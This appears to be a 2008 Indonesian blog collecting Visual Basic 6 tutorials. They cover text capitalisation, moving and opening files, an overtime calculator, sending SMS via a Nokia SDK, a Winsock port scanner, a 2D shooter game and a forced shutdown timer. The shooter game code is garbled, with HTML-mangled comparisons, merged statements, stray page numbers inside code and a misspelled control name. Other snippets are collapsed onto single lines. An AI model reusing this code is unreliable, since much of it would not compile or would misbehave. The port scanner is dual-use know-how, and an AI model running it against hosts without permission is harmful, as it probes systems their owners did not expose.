2. Ketik coding berikut ke dalam editor form yang bertalian.

Ketik coding berikut ini pada Form.
Public Function AwalKalimatKapital(strKalimat As _ String)
Dim Temp1 As String, Temp2 As String
Dim Lokasi As Integer, i As Integer
Dim huruf As String * 1
Temp1$ = LCase(strKalimat) 'Kecilkan dulu semua
For i% = 1 To Len(Temp1$)
huruf = Chr(Asc(Mid(strKalimat, i%, 1)))
If huruf = "." Then
Lokasi% = i% + 2
End If
If i% = 1 Or i% = Lokasi% Then
Temp2$ = Temp2$ + UCase(Chr(Asc(Mid(Temp1$, _
i%, 1))))
Else
Temp2$ = Temp2$ + LCase(Chr(Asc(Mid(Temp1$, _
i%, 1))))
End If
Next i
AwalKalimatKapital = Temp2$
End Function
Private Sub Text1_Change()
Dim posisi As Integer
posisi = Text1.SelStart
216
Text1.Text = AwalKalimatKapital(Text1.Text)
Text1.SelStart = posisi
End Sub

Memindahkan File

2008-11-22T11:24:00.001+07:00

Latihan kali ini kita buat program untuk memindahkan file dari suatu
folder ke folder lain.

Persiapan:
1. Buat 1 Project dengan 1 Form, 1 Module, dan 1
Commandbutton.
2. Ketik coding berikut ke dalam editor form Anda.

Ketik coding berikut ini pada Module.
Declare Function MoveFile Lib "kernel32" Alias _ "MoveFileA"
(ByVal lpExistingFileName As String, _
ByVal lpNewFileName As String) As Long

Ketik coding berikut ini pada Form.
Private Sub Command1_Click()
'Contoh ini memindahkan file 'c:\MyFile.Zip' ke ‘direktori
'c:\MyDir'.
A = MoveFile("c:\MyFile.Zip", "c:\MyDir\MyFile.Zip")
If A Then
MsgBox "File berhasil dipindahkan!", _
vbInformation, "Sukses Pindah File"
Else
MsgBox "Error. File belum dipindahkan!" & _
Chr(13) & _
"Kemungkinan file asal tidak ada" & _
Chr(13) & _
"atau file sudah ada di dalam " & _
Chr(13) & _
"direktori tujuan!", vbCritical, "Gagal _
Pindah File"
End If
End Sub

Membuka File Berdasarkan Ekstensi Program

2008-11-20T21:46:00.007+07:00

Coding berikut ini mendemonstrasikan
cara membuka file berdasarkan ekstensi
programnya dengan mengklik ganda filenya.

Persiapan:
1. Buat 1 Project baru dengan 1 Form, 1 DriveListBox, 1
DirListBox, dan 1 FileListBox.
2. Ketik coding berikut ke dalam editor form yang bertalian.

Ketik coding berikut ini pada Form.
Option Explicit
Private Declare Function ShellExecute Lib _
"shell32.dll" Alias "ShellExecuteA" (ByVal hwnd As _
Long, ByVal lpszOp As String, ByVal lpszFile As _
String, ByVal lpszParams As String, _
ByVal lpszDir As String, ByVal FsShowCmd As Long) As _ Long
Private Declare Function GetDesktopWindow Lib _
"user32" () As Long
Const SW_SHOWNORMAL = 1
Const SE_ERR_FNF = 2&
Const SE_ERR_PNF = 3&
Const SE_ERR_ACCESSDENIED = 5&
Const SE_ERR_OOM = 8&
Const SE_ERR_DLLNOTFOUND = 32&
Const SE_ERR_SHARE = 26&
Const SE_ERR_ASSOCINCOMPLETE = 27&
Const SE_ERR_DDETIMEOUT = 28&
Const SE_ERR_DDEFAIL = 29&
Const SE_ERR_DDEBUSY = 30&
Const SE_ERR_NOASSOC = 31&
Const ERROR_BAD_FORMAT = 11&
Function OpenDocument(ByVal DocName As String) As Long
Dim Scr_hDC As Long
'Scr_hDC = GetDesktopWindow()
OpenDocument = ShellExecute(Me.hwnd, "Open", _
DocName, "", "C:\", SW_SHOWNORMAL)
End Function

Private Sub Dir1_Change()
File1.Path = Dir1.Path
End Sub
Private Sub Drive1_Change()
Dir1.Path = Drive1.Drive
End Sub
Private Sub File1_DblClick()
Dim r As Long, msg As String
Dim str As String
If Right(Dir1.Path, 1) = "\" Then
str = Dir1.Path & File1.FileName
Else
str = Dir1.Path & "\" & File1.FileName
End If
Me.Caption = str
r = OpenDocument(str)
If r <= 32 Then Select Case r Case SE_ERR_FNF msg = "File not found" Case SE_ERR_PNF msg = "Path not found" Case SE_ERR_ACCESSDENIED msg = "Access denied" Case SE_ERR_OOM msg = "Out of memory" Case SE_ERR_DLLNOTFOUND msg = "DLL not found" Case SE_ERR_SHARE msg = "A sharing violation occurred" Case SE_ERR_ASSOCINCOMPLETE msg = "Incomplete or invalid file association" Case SE_ERR_DDETIMEOUT msg = "DDE Time out" Case SE_ERR_DDEFAIL msg = "DDE transaction failed" Case SE_ERR_DDEBUSY msg = "DDE busy" Case SE_ERR_NOASSOC msg = "No association for file extension" Case ERROR_BAD_FORMAT msg = "Invalid EXE file or error in EXE image" Case Else msg = "Unknown error" End Select MsgBox msg End If End Sub Silakan dicoba dan dikembangkan lagi..hehee...

Menghitung Lembur Berdasarkan Durasi Detik

2008-11-20T21:00:00.007+07:00

Contoh sebuah aplikasi kecil menghitung besar uang lembur
berdasarkan hitungan detik, termasuk perhitungan lewat tengah
malam.

Persiapan:
1. Buat 1 Project baru dengan 1 Form, 11 Label, 11 Textbox, 2
commandbutton, dan 2 control Timer.
2. Beri nama dan urutan untuk setiap textbox sebagai berikut:
- txtTglMulai
- txtAwalLembur
- txtJamSistem
- txtDurasiLembur
- txtTotalDetik
- txtBesarUang
- txtTglSistem
- txtTglEsok
- txtDurasiPertama
- txtDurasiKedua
- txtTampungDetik
3. Beri nama masing-masing commandbutton dengan cmdMulai
dan cmdStop.
4. Set property Interval setiap Timer = 500, dan Enabled = False.
5. Ketik coding berikut ke dalam form yang bertalian.

Ketikkan coding berikut ini pada Form.

Dim totaldetik As Long
Dim hh, mm, ss As Integer
Dim tampungdetik As Long

Private Sub cmdMulai_Click()
Timer1.Enabled = True
txtAwalLembur.Text = Time
txtDurasiPertama.Text = Format(CDate("23:59:59") _- CDate(txtAwalLembur) +CDate("00:00:01"), _"hh:mm:ss")

'Ditambah satu detik karena belum bulat ke 24:00:00
'dan angka 24:00:00 tsb tidak valid utk Time
txtTglMulai.Text = Format(Date, "dd/mm/yyyy")
txtTglEsok.Text = Format(Date + 1, "dd/mm/yyyy")
txtDurasiKedua.Text = 0
txtTampungDetik.Text = 0
cmdMulai.Enabled = False
cmdStop.Enabled = True
End Sub

Private Sub cmdStop_Click()
Timer1.Enabled = False
Timer2.Enabled = False
cmdStop.Enabled = False
cmdMulai.Enabled = True
End Sub

Private Sub Timer1_Timer()
txtTglSistem.Text = Format(Date, "dd/mm/yyyy")
txtJamSistem.Text = Time
If txtJamSistem.Text = "00:00:00" Then
txtDurasiLembur.Text = Format(CDate("23:59:59") _- CDate(txtAwalLembur) +CDate("00:00:01"), _"hh:mm:ss")
Else
txtDurasiLembur.Text = _Format((CDate(txtJamSistem.Text) _-CDate(txtAwalLembur.Text)), "hh:mm:ss")
End If
If CDate(txtAwalLembur) = CDate(txtJamSistem) Then
txtTampungDetik.Text = 0
End If
If CDate(txtTglSistem) = CDate(txtTglEsok) Then
txtTglEsok.Text = Date + 1
txtTotalDetik.Text = Format(totaldetik + 1, _
"0,0")
txtTampungDetik.Text = totaldetik + 1
Timer1.Enabled = False
Timer2.Enabled = True
End If
hh = Hour(txtDurasiLembur)
mm = Minute(txtDurasiLembur)
ss = Second(txtDurasiLembur)
totaldetik = hh * 3600 + mm * 60 + ss
txtTotalDetik.Text = Format(totaldetik, "0,0")
txtBesarUang.Text = Format(txtTotalDetik * 100, _
"0,0")
txtDurasiKedua.Text = Format(Val(txtTotalDetik) - _
Val(txtTampungDetik), "0,0")
End Sub
Private Sub Timer2_Timer()
185
txtTglSistem.Text = Format(Date, "dd/mm/yyyy")
txtJamSistem.Text = Time
If txtJamSistem.Text = "00:00:00" Then
txtDurasiLembur.Text = Format(CDate("23:59:59") _- CDate(txtAwalLembur) +CDate("00:00:01"), _"hh:mm:ss")
Else
txtDurasiLembur.Text = _
Format(CDate(txtJamSistem.Text) _+ CDate(txtDurasiPertama.Text) - _CDate("00:00:00"), "hh:mm:ss")
End If
If CDate(txtAwalLembur) = CDate(txtJamSistem) Then
txtTampungDetik.Text = 0
End If
If CDate(txtTglSistem) = CDate(txtTglEsok) Then
txtTglEsok.Text = Date + 1
txtTotalDetik.Text = Format(totaldetik, "0,0")
txtTampungDetik.Text = totaldetik + 1
Timer2.Enabled = False
Timer1.Enabled = True
End If
hh = Hour(txtDurasiLembur)
mm = Minute(txtDurasiLembur)
ss = Second(txtDurasiLembur)
totaldetik = hh * 3600 + mm * 60 + ss
txtTotalDetik.Text = Format(totaldetik, "0,0")
txtBesrUang.Text = Format(txtTotalDetik * 100, -"0,0")
txtDurasiKedua.Text = Format(Val(txtTotalDetik) - _Val(txtTampungDetik), "0,0")
End Sub

Visualisasi Mengklik Tombol dari Coding

2008-11-20T20:56:00.002+07:00

Membuat suatu tombol kelihatan diklik/ditekan melalui coding.
Persiapan:

1. Buat 1 Project baru dengan 1 Form, 1 Module, dan 3
Commandbutton.
2. Ketik coding berikut ke dalam editor form dan module yang
bersangkutan.
Ketika Anda mengklik Command2, Command1 akan kelihatan
ditekan (masuk ke dalam).
Ketika Anda mengklik Command3, Command1 akan kelihatan
normal kembali.

Ketikkan coding berikut ini pada Modul.

Declare Function SendMessage Lib "user32" Alias _
"SendMessageA" (ByVal hwnd As Long, ByVal wMsg As Long, ByVal
wParam As Long, lParam As Any) As Long
Public Const BM_SETSTATE = &HF3
Public Const WM_LBUTTONDOWN = &H201
Public Const WM_LBUTTONUP = &H202

Ketikkan Coding berikut ini pada Form.
Private Sub Command2_Click() 'Command1 kelihatan masuk
‘ke dalam (ditekan)
Call SendMessage(Command1.hwnd, BM_SETSTATE, 1, _ByVal 0&)
End Sub

Private Sub Command3_Click() 'Command1 normal kembali.
Call SendMessage(Command1.hwnd, BM_SETSTATE, 0, _ByVal 0&)
End Sub

Selamat mencoba dan berkreasi dengan ide kamu...

Menekan Tombol di Form Lain

2008-11-20T20:22:00.003+07:00

Menekan tombol yang terdapat di dalam form lainnya. Jika tombol di
Form1 ditekan, maka tombol di Form2 juga akan bereaksi, dengan
memunculkan suatu pesan.

Persiapan:
1. Buat 1 Project baru dengan 2 Form.
2. Pada Form1 dan Form2 masing-masing buat 1 Commandbutton.
3. Ketik coding berikut ke dalam editor form yang bertalian.
Ketikkan coding berikut ini pada form.

Ketikkan Coding di form1
Private Sub Command1_Click()
Form2.Command1.Value = True
End Sub

Ketikkan Coding di Form2
Private Sub Command1_Click()
MsgBox "Tombol di Form2 diklik juga...", vbInformation,"Konfirmasi"

Selamat mencoba dan kembangkan dengan idemu..

Program kirim SMS melalui PC

2008-11-05T12:44:00.008+07:00

Perangkat
1. HP (Hanya untuk model nokia)
2. Connecting Device (Seperti : Infrared, Kabel data, or Bluetooth)
3. Download dan install program Nokia PC Connectivity SDK yang sesuai dengan model ponsel Nokia yang kamu gunakan.

Prosedur
1. Install semua alat koneksi (seperti :Infrared, DataCable, or Bluetooth) kedalam PC
Perhatian : Pastikan setelah terinstall alat koneksi dengan HP terhubung dengan baik
2. Install program aplikasi Nokia PC COnnectivity.
3. Buka VB dan kemudian mulai dengan membuat project baru
4. Add komponen Nokia dalam menu preferences yang ada di VB
5. Kemudian isi dengan Script dibawah ini

Private Sub cmdSend_Click()
On Error GoTo ErrorTrap

Dim message As String
message = txtMsg.Text
Select Case chkUnicode.Value
Case vbUnchecked
If (Len(message) > SMS_TEXT_MAX_SIZE) Then
pMsgPart1 = Left(message, SMS_CONCATENATED_TEXT_MAX_SIZE)
pMsgPart2 = Right(message, Len(message) - SMS_CONCATENATED_TEXT_MAX_SIZE)
SendConcatenatedMessage
Exit Sub
End If
Case vbChecked
If (Len(message) > SMS_UNICODE_MAX_SIZE) Then
pMsgPart1 = Left(message, SMS_CONCATENATED_UNICODE_MAX_SIZE)
pMsgPart2 = Right(message, Len(message) - SMS_CONCATENATED_UNICODE_MAX_SIZE)
SendConcatenatedMessage
Exit Sub
End If
Case Else
MsgBox ("Select coding scheme")
End Select

Dim smsEntry As NokiaCLMessaging.ShortMessageItem
Set smsEntry = New NokiaCLMessaging.ShortMessageItem

smsEntry.Type = SHORTMESSAGE_TYPE_GSM_SUBMIT
Set pIGSMSubmit = smsEntry.TypeProperties

pIGSMSubmit.message = txtMsg.Text
pIGSMSubmit.DestinationAddress = txtDestination.Text
pIGSMSubmit.ServiceCenterAddress = txtMsgCenter.Text
pIGSMSubmit.ProtocolID = 0
If (chkUnicode.Value = vbChecked) Then
pIGSMSubmit.DataCodingScheme = CODING_SCHEME_UNICODE
Else
pIGSMSubmit.DataCodingScheme = CODING_SCHEME_TEXT
End If

pIGSMSubmit.ValidityPeriodRelative = 255

Call pSMSAdapter.SendSMS(SHORTMESSAGE_ROUTE_TYPE_ANY, pIGSMSubmit)

'Insert your code here to store the sent message in the database.

MsgBox "Message Sent TO " & txtDestination.Text & vbCrLf & "With Reference Number: " & pIGSMSubmit.MessageReference, vbOKOnly, "Message Sent"

Exit Sub

ErrorTrap:
If Err.Number = -2147467259 Or Err.Number = -2147467259 Then
End If
MsgBox Err.Description, vbInformation, "SMS Cannot Send"
End Sub

Nah mudah bukan? Silakan kamu kembangkan sendiri dari aplikasi yang sudah dibuat penulis...

Membuat program Port Scanner

2008-11-05T11:41:00.010+07:00

Disini penulis mencoba membuat program Port Scanner, dan komponen yang dibutuhkan untuk membuat port scanner adalah :

2 Text boxes ( Text1,Text2 )
1 ListBox ( List1 )
3 Command Buttons ( Command1, Command2, Command3 )
1 Timer ( Timer1 )
1 Winsock Component ( Winsock1 )
Jika kamu tidak tahu tempat dimana mengaktifkan komponen lihat gambar berikut

Setelah tampil jendela komponen silakan kamu mencari komponen yang bernama "Microsoft Winsock Control 6.0 (SP6)"

Berikut contoh komponen yang sudah ditemukan

Oke sekarang silakan membuat form seperti dibawah ini atau kamu bisa membuat sendiri desain formnya dengan ide kamu sendiri

Dan Berikut untuk kode lebih jelasnya

Code:

Private Sub Form_Load()
Timer1.Interval = 1
Timer1.Enabled = False
Text2.Text = "0"
End Sub
Private Sub Timer1_Timer()
On Error Resume Next
Winsock1.Close
Text2.Text = Text2.Text + 1
Winsock1.RemoteHost = Text1.Text
Winsock1.RemotePort = Text2.Text
Winsock1.Connect
End Sub
Private Sub Command1_Click()
Timer1.Enabled = True
End Sub
Private Sub Command2_Click()
Timer1.Enabled = False
Text2.Text = "0"
End Sub
Private Sub Command3_Click()
List1.Clear
End Sub
Private Sub Winsock1_Connect()
List1.AddItem Winsock1.RemotePort & " is open!"
End Sub

Code Explanation:-

Code:

Private Sub Form_Load()
Timer1.Interval = 1
Timer1.Enabled = False
Text2.Text = "0"
End Sub

Code:

Private Sub Timer1_Timer()
On Error Resume Next
Winsock1.Close
Text2.Text = Text2.Text + 1
Winsock1.RemoteHost = Text1.Text
Winsock1.RemotePort = Text2.Text
Winsock1.Connect
End Sub

Code:

Private Sub Command1_Click()
Timer1.Enabled = True
End Sub

Code:

Private Sub Command2_Click()
Timer1.Enabled = False
Text2.Text = "0"
End Sub

Code:

Private Sub Command3_Click()
List1.Clear
End Sub

Code:

Private Sub Winsock1_Connect()
List1.AddItem Winsock1.RemotePort & " is open!"
End Sub

Jika port sudah discan maka hasilnya akan tampil di listbox
Selamat mencoba dan mengembangkan sendiri...

Latihan membuat game dengan VB

2008-11-05T11:01:00.012+07:00

Kali ini kita kita akan belajar membuat game yang nantinya bisa kamu kembangkan sendiri.Penulis hanya membuat sample ini supaya kamu bisa menciptakan sendiri game yang lebih bagus.Game ini sangat simple dengan tampilan 2 dimensi menggunakan scipt kode di VB. Ada tiga option yang bisa dipilih yaitu :

1) Start
2) Options
3) The Game

Komponen yang digunakan

1) Timer Control
2) Picture Control
3) Label Control
4) Windows Media ocx

Untuk bermain game ini hanya menggunakan tombol arah serta tombol spasi. Silakan mencoba sendiri..

Dan berikut sample codenya

Option Explicit
Dim u, d, l, r, showm As Boolean
Dim x, y As Integer
Dim mx, my As Integer
Dim ex, ey As Integer
Dim score As Long
Dim fuel As Integer
Dim es As Integer

Private Sub Form_Load()'MediaPlayer1.playerApplication = App.Path & "\sfx\fire.wav"
'MediaPlayer2.FileName = App.Path & "\sfx\Explosion.wav"
'MediaPlayer3.FileName = App.Path & "\sfx\mainsound.mp3"lblScore.Caption = "0"x = 0
y = 0ex = -100
ex = -100es = 10fuel = 1
End Sub

Private Sub Form_Paint()
shooter.SetFocus
End Sub

Private Sub shooter_KeyDown(KeyCode As Integer, Shift As Integer)
If KeyCode = 49 Then speed = speed - 1
If speed <= 0 Then speed = 0 If speed > 30 Then speed = 30

If KeyCode = 50 Then speed = speed + 1
If KeyCode = vbKeyLeft Then l = True
If KeyCode = vbKeyRight Then r = True
If KeyCode = vbKeyUp Then u = True
If KeyCode = vbKeyDown Then d = True
If KeyCode = vbKeySpace Then
If Not showm Then
fireit
End If
End If
If KeyCode = vbKeyEscape Then Unload Me: End
End Sub

Private Sub shooter_KeyUp(KeyCode As Integer, Shift As Integer)
If KeyCode = vbKeyLeft Then l = False
If KeyCode = vbKeyRight Then r = False
If KeyCode = vbKeyUp Then u = False
If KeyCode = vbKeyDown Then d = False
End Sub

Private Sub Timer1_Timer()Static ch As Boolean
ch = Not chIf ch Then
shooter.Picture = Picture2.Picture
Else
shooter.Picture = Picture3.Picture
End If
End Sub

Private Sub
Timer2_Timer()
If l Then
x = x - speed
If x < x =" 0" x =" x">= Me.ScaleWidth - 100 Then x = Me.ScaleWidth - 100

End If

If u Then
y = y - speed
If y < y =" 0" y =" y">= Me.ScaleHeight - 100 Then y = Me.ScaleHeight - 100
End If

Label5.Caption = "X = " & x
Label6.Caption = "Y = " & y

shooter.Left = x
shooter.Top = y

Label3.Caption = CStr(speed)

If showm Then

mx = mx + 20
If mx > Me.ScaleWidth Then
showm = False
fire.Visible = False

End If

fire.Left = mx
fire.Top = my

If (my > ey And my <> ex) Then
score = score + 10
showm = False
SetEn
End If

Else
fire.Visible = False

End If

ex = ex - es
en.Left = ex
If ex < -200 Then SetEn en.Top = ey End If lblScore = CStr(score) Label8.Caption = "EX = " & ex Label7.Caption = "EY = " & ey If (y > ey - 40 And y <> ex And x < fuel =" fuel"> 1 Then MediaPlayer2.Play
Picture1.BackColor = RGB(Rnd * 255, Rnd * 255, Rnd * 255)

SetEn Select Case fuel

Case 2
Image1.Picture = LoadPicture(App.Path & "\data\fuel50.gif")

Case 3
Image1.Picture = LoadPicture(App.Path & "\data\fuel20.gif")

Case 4
Image1.Picture = LoadPicture(App.Path & "\data\game-over.gif")

End Select

If fuel = 4 Then

MsgBox "Game Over", vbCritical, "Shooter"
Unload Me
Form2.Show

End If

End If
End Sub

Private Sub fireit()
'MediaPlayer1.Play
showm = Truemx = shooter.Left + 100
my = shooter.Top + 50
fire.Visible = True
End Sub

Public Sub SetEn()
ey = Int(Rnd * Me.ScaleHeight) - 100

ex = Me.ScaleWidth
en.Left = ex
en.Top = ey

End Sub

Private Sub Timer3_Timer()
es = es + 5
End Sub

Berikut source code yang sudah jadi download

Shutdown Timer menggunakan VB

2008-10-30T21:26:00.028+07:00

Shutdown timer adalah program yang berfungsi untuk menentukan kapan komputer akan dimatikan secara otomatis setelah menentukan dengan sebuh program.Nah kali ini kamu bisa membuat sendiri program shutdown timer dengan kreasi kalian sendiri.
atau kalian bisa mencontoh desain seperti dibawah ini.

komponen yang dibutuhkan adalah :

3 Command Buttons
4 Combo Boxes
1 Form
6 Labels
2 List Boxes
8 Menus
1 Timer
1 Module

jika kamu tidak ingin repot dengan membuat sendiri kamu juga bisa download source codenya yang sudah jadi dan langsung jalan
disini
Berikut source code lengkapnya

Option Explicit
Private Sub btnExit_Click()
frmCancelUnload = False
Unload Me
End Sub

Private Sub btnTurnOFF_Click()
btnTurnON.Enabled = True
btnTurnOFF.Enabled = False

mnuPopupTurnON.Enabled = True
mnuPopupTurnOFF.Enabled = False

cboHour.Enabled = True
cboMinute.Enabled = True
cboSecond.Enabled = True
cboAMPM.Enabled = True
lstOptions.Enabled = True
lstExtra.Enabled = True

Me.Caption = "Shutdown Timer - OFF"

tmrShutdown.Enabled = False
End Sub

Private Sub btnTurnON_Click()
btnTurnON.Enabled = False
btnTurnOFF.Enabled = True

mnuPopupTurnON.Enabled = False
mnuPopupTurnOFF.Enabled = True

cboHour.Enabled = False
cboMinute.Enabled = False
cboSecond.Enabled = False
cboAMPM.Enabled = False
lstOptions.Enabled = False
lstExtra.Enabled = False

Me.Caption = "Shutdown Timer - ON"

strShutdown = cboHour.Text & ":" & cboMinute.Text & ":" & cboSecond.Text & " " & cboAMPM.Text
tmrShutdown.Enabled = True
End Sub

Private Sub cboAMPM_Click()
strShutdown = cboHour.Text & ":" & cboMinute.Text & ":" & cboSecond.Text & " " & cboAMPM.Text
End Sub

Private Sub cboHour_Click()
strShutdown = cboHour.Text & ":" & cboMinute.Text & ":" & cboSecond.Text & " " & cboAMPM.Text
End Sub

Private Sub cboMinute_Click()
strShutdown = cboHour.Text & ":" & cboMinute.Text & ":" & cboSecond.Text & " " & cboAMPM.Text
End Sub

Private Sub cboSecond_Click()
strShutdown = cboHour.Text & ":" & cboMinute.Text & ":" & cboSecond.Text & " " & cboAMPM.Text
End Sub

Private Sub Form_Load()
Dim intCnt As Integer

Dim strOptSel As String
Dim strExtSel As String

Dim strHour As String
Dim strMinute As String
Dim strSecond As String
Dim strAMPM As String

For intCnt = 1 To 12
DoEvents
cboHour.AddItem intCnt
Next intCnt

For intCnt = 0 To 59
DoEvents
cboMinute.AddItem intCnt
Next intCnt

For intCnt = 0 To 59
DoEvents
cboSecond.AddItem intCnt
Next intCnt

With lstOptions
.AddItem "Shutdown OS"
.AddItem "Turn off Computer"
.AddItem "Restart"
.AddItem "Log off"
End With

cboAMPM.AddItem "AM"
cboAMPM.AddItem "PM"

lstExtra.AddItem "Use Force"
lstExtra.AddItem "Force only if Freezes"

strIniPath = App.Path & "\" & App.Title & ".ini"

strOptSel = String(255, vbNullChar)
strExtSel = String(255, vbNullChar)

Call GetPrivateProfileString("Options", "Selected", 1, strOptSel, 255, strIniPath)
Call GetPrivateProfileString("Extra", "Selected", 1, strExtSel, 255, strIniPath)

lstOptions.Selected(Int(strOptSel)) = True
lstExtra.Selected(Int(strExtSel)) = True

strHour = String(255, vbNullChar)
strMinute = String(255, vbNullChar)
strSecond = String(255, vbNullChar)
strAMPM = String(255, vbNullChar)

Call GetPrivateProfileString("Shutdown", "Hour", 3, strHour, 255, strIniPath)
Call GetPrivateProfileString("Shutdown", "Minute", 15, strMinute, 255, strIniPath)
Call GetPrivateProfileString("Shutdown", "Second", 45, strSecond, 255, strIniPath)
Call GetPrivateProfileString("Shutdown", "AMPM", "AM", strAMPM, 255, strIniPath)

cboHour.Text = strHour
cboMinute.Text = strMinute
cboSecond.Text = strSecond
cboAMPM.Text = strAMPM

strShutdown = cboHour.Text & ":" & cboMinute.Text & ":" & cboSecond.Text & " " & cboAMPM.Text

If IsWinNT = False Then lstExtra.Enabled = False
End Sub

Private Sub Form_MouseMove(Button As Integer, Shift As Integer, x As Single, y As Single)
Dim xTray As Single

xTray = x / Screen.TwipsPerPixelX

Select Case xTray
Case WM_RBUTTONDOWN
Call SetForegroundWindow(Me.hwnd)
Call PopupMenu(mnuPopup)
Case WM_LBUTTONDBLCLK
Call SetForegroundWindow(Me.hwnd)
Me.Show
End Select
End Sub

Private Sub Form_QueryUnload(Cancel As Integer, UnloadMode As Integer)
Cancel = frmCancelUnload
If frmCancelUnload = True Then
Me.WindowState = vbMinimized
Me.Hide
Me.WindowState = vbNormal
End If
End Sub

Private Sub Form_Unload(Cancel As Integer)
Call Shell_NotifyIcon(NIM_DELETE, nid_Tray)
Call SavePos(Me, strIniPath)

Call WriteINI("Options", "Selected", lstOptions.ListIndex, strIniPath)
Call WriteINI("Extra", "Selected", lstExtra.ListIndex, strIniPath)

Call WriteINI("Shutdown", "Hour", cboHour.Text, strIniPath)
Call WriteINI("Shutdown", "Minute", cboMinute.Text, strIniPath)
Call WriteINI("Shutdown", "Second", cboSecond.Text, strIniPath)
Call WriteINI("Shutdown", "AMPM", cboAMPM.Text, strIniPath)
End Sub

Private Sub lstExtra_Click()
lstExtra.Selected(lstExtra.ListIndex) = True
End Sub

Private Sub lstExtra_ItemCheck(Item As Integer)
Dim iLst As Integer

For iLst = 0 To (lstExtra.ListCount - 1)
If iLst <> Item Then lstExtra.Selected(iLst) = False
Next iLst
End Sub

Private Sub lstOptions_Click()
lstOptions.Selected(lstOptions.ListIndex) = True
End Sub

Private Sub lstOptions_ItemCheck(Item As Integer)
Dim iLst As Integer
For iLst = 0 To (lstOptions.ListCount - 1)
DoEvents
If iLst <> Item Then lstOptions.Selected(iLst) = False
Next iLst
End Sub

Private Sub mnuPopup_Click()
Select Case Me.Visible
Case True
mnuPopupHide.Enabled = True
mnuPopupShow.Enabled = False
Case False
mnuPopupHide.Enabled = False
mnuPopupShow.Enabled = True
End Select
End Sub

Private Sub mnuPopupExit_Click()
Call btnExit_Click
End Sub

Private Sub mnuPopupHide_Click()
Me.Hide
End Sub

Private Sub mnuPopupShow_Click()
Me.Show
End Sub

Private Sub mnuPopupTurnOFF_Click()
Call btnTurnOFF_Click
End Sub

Private Sub mnuPopupTurnON_Click()
Call btnTurnON_Click
End Sub

Private Sub tmrShutdown_Timer()
Dim lngFlags As Long

If FormatDateTime(strShutdown, vbLongTime) = FormatDateTime(Time, vbLongTime) Then
Select Case lstOptions.ListIndex
Case 0 'Shutdown OS
lngFlags = EWX_SHUTDOWN
Case 1 'Turn off System
lngFlags = EWX_POWEROFF
Case 2 'Restart
lngFlags = EWX_REBOOT
Case 3 'Logoff
lngFlags = EWX_LOGOFF
End Select

Select Case lstExtra.ListIndex
Case 0 'Use force
lngFlags = lngFlags Or EWX_FORCE
Case 1 'Force only if freezes
lngFlags = lngFlags Or EWX_FORCEIFHUNG
End Select

If IsWinNT = True Then Call EnableNTShutdown
Call ExitWindowsEx(lngFlags, 0)

Call btnTurnOFF_Click
End If
End Sub

Source Code untuk module nya
Public Const ANYSIZE_ARRAY As Long = 1

Public Const EWX_FORCE As Long = 4
Public Const EWX_FORCEIFHUNG As Long = &H10
Public Const EWX_LOGOFF As Long = 0
Public Const EWX_POWEROFF As Long = &H8
Public Const EWX_REBOOT As Long = 2
Public Const EWX_SHUTDOWN As Long = 1

Public Const MAX_COMPUTERNAME As Long = 15

Public Const SE_PRIVILEGE_ENABLED As Long = &H2

Public Const TOKEN_ADJUST_DEFAULT As Long = &H80
Public Const TOKEN_ADJUST_GROUPS As Long = &H40
Public Const TOKEN_ADJUST_PRIVILEGES As Long = &H20
Public Const TOKEN_ADJUST_SESSIONID As Long = &H100
Public Const TOKEN_QUERY As Long = &H8

Public Const VER_PLATFORM_WIN32_NT As Long = 2

Public Const NIF_ICON = &H2
Public Const NIF_MESSAGE = &H1
Public Const NIF_TIP = &H4

Public Const NIM_ADD = &H0
Public Const NIM_DELETE = &H2
Public Const NIM_MODIFY = &H1

Public Const WM_LBUTTONDBLCLK As Long = &H203
Public Const WM_MOUSEMOVE As Long = &H200
Public Const WM_RBUTTONDOWN As Long = &H204

Public Const HWND_TOPMOST As Long = -1

Public Const SWP_NOMOVE As Long = &H2
Public Const SWP_NOSIZE As Long = &H1

Public Type LARGE_INTEGER
LowPart As Long
HighPart As Long
End Type

Public Type LUID
LowPart As Long
HighPart As Long
End Type

Public Type LUID_AND_ATTRIBUTES
pLuid As LUID
Attributes As Long
End Type

Public Type OSVERSIONINFO
dwOSVersionInfoSize As Long
dwMajorVersion As Long
dwMinorVersion As Long
dwBuildNumber As Long
dwPlatformId As Long
szCSDVersion As String * 128
End Type

Public Type TOKEN_PRIVILEGES
PrivilegeCount As Long
Privileges(ANYSIZE_ARRAY) As LUID_AND_ATTRIBUTES
End Type

Public Type NOTIFYICONDATA
cbSize As Long
hwnd As Long
uID As Long
uFlags As Long
uCallbackMessage As Long
hIcon As Long
szTip As String * 64
End Type

'ADVAPI32
Public Declare Function LookupPrivilegeValue Lib "advapi32.dll" Alias "LookupPrivilegeValueA" ( _
ByVal lpSystemName As String, _
ByVal lpName As String, _
ByRef lpLuid As LUID) As Long 'change lpLuid from LARGE_INTEGER to LUID
Public Declare Function AdjustTokenPrivileges Lib "advapi32.dll" ( _
ByVal TokenHandle As Long, _
ByVal DisableAllPrivileges As Long, _
ByRef NewState As TOKEN_PRIVILEGES, _
ByVal BufferLength As Long, _
ByRef PreviousState As TOKEN_PRIVILEGES, _
ByRef ReturnLength As Long) As Long
Public Declare Function OpenProcessToken Lib "advapi32.dll" ( _
ByVal ProcessHandle As Long, _
ByVal DesiredAccess As Long, _
ByRef TokenHandle As Long) As Long

'COMCTL32
Public Declare Sub InitCommonControls Lib "comctl32.dll" ()

'KERNEL32
Public Declare Function GetVersionEx Lib "kernel32.dll" Alias "GetVersionExA" ( _
ByRef lpVersionInformation As OSVERSIONINFO) As Long
Public Declare Function GetComputerName Lib "kernel32.dll" Alias "GetComputerNameA" ( _
ByVal lpBuffer As String, _
ByRef nSize As Long) As Long
Public Declare Function GetCurrentProcess Lib "kernel32.dll" () As Long

'USER32
Public Declare Function ExitWindowsEx Lib "user32.dll" ( _
ByVal uFlags As Long, _
ByVal dwReserved As Long) As Long

Public Declare Function GetPrivateProfileString Lib "kernel32.dll" Alias "GetPrivateProfileStringA" ( _
ByVal lpApplicationName As String, _
ByVal lpKeyName As String, _
ByVal lpDefault As String, _
ByVal lpReturnedString As String, _
ByVal nSize As Long, _
ByVal lpFileName As String) As Long

Public Declare Function SetWindowPos Lib "user32.dll" ( _
ByVal hwnd As Long, _
ByVal hWndInsertAfter As Long, _
ByVal x As Long, _
ByVal y As Long, _
ByVal cx As Long, _
ByVal cy As Long, _
ByVal wFlags As Long) As Long

Public Declare Function WritePrivateProfileString Lib "kernel32.dll" Alias "WritePrivateProfileStringA" ( _
ByVal lpApplicationName As String, _
ByVal lpKeyName As Any, _
ByVal lpString As Any, _
